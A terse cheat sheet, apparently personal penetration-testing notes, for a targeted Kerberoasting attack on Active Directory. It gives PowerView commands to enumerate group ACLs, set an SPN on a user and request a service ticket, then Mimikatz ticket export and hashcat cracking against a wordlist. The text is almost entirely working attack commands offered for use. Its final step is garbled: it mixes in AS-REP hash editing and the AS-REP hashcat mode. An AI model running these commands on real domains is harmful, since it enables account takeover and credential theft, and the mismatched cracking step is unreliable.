Set SPN

Enumerate permissions for group on ACL

Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match “<groupname>”}
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match “<groupname>”} | select IdentityReference, ObjectDN, ActiveDirectoryRights | fl

Check if user has SPN

. ./Powerview_dev.ps1
Get-DomainUser -Identity <username> | select samaccountname, serviceprincipalname

of

Get-NetUser | Where-Object {$_.servicePrincipalName}

Set SPN for the user

. ./PowerView_dev.ps1
Set-DomainObject -Identity <username> -Set @{serviceprincipalname=’ops/whatever1’}

Request a TGS

Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"

Export ticket to disk for offline cracking

Invoke-Mimikatz -Command '"Kerberos::list /export"'

Request TGS hash for offline cracking hashcat

Get-DomainUser -Identity <username> | Get-DomainSPNTicket | select -ExpandProperty Hash

Crack the hash with hashcat

Edit the hash by inserting '23' after the krb5asrep, so krb5asrep.......

Hashcat -a 0 -m 18200 hash.txt rockyou.txt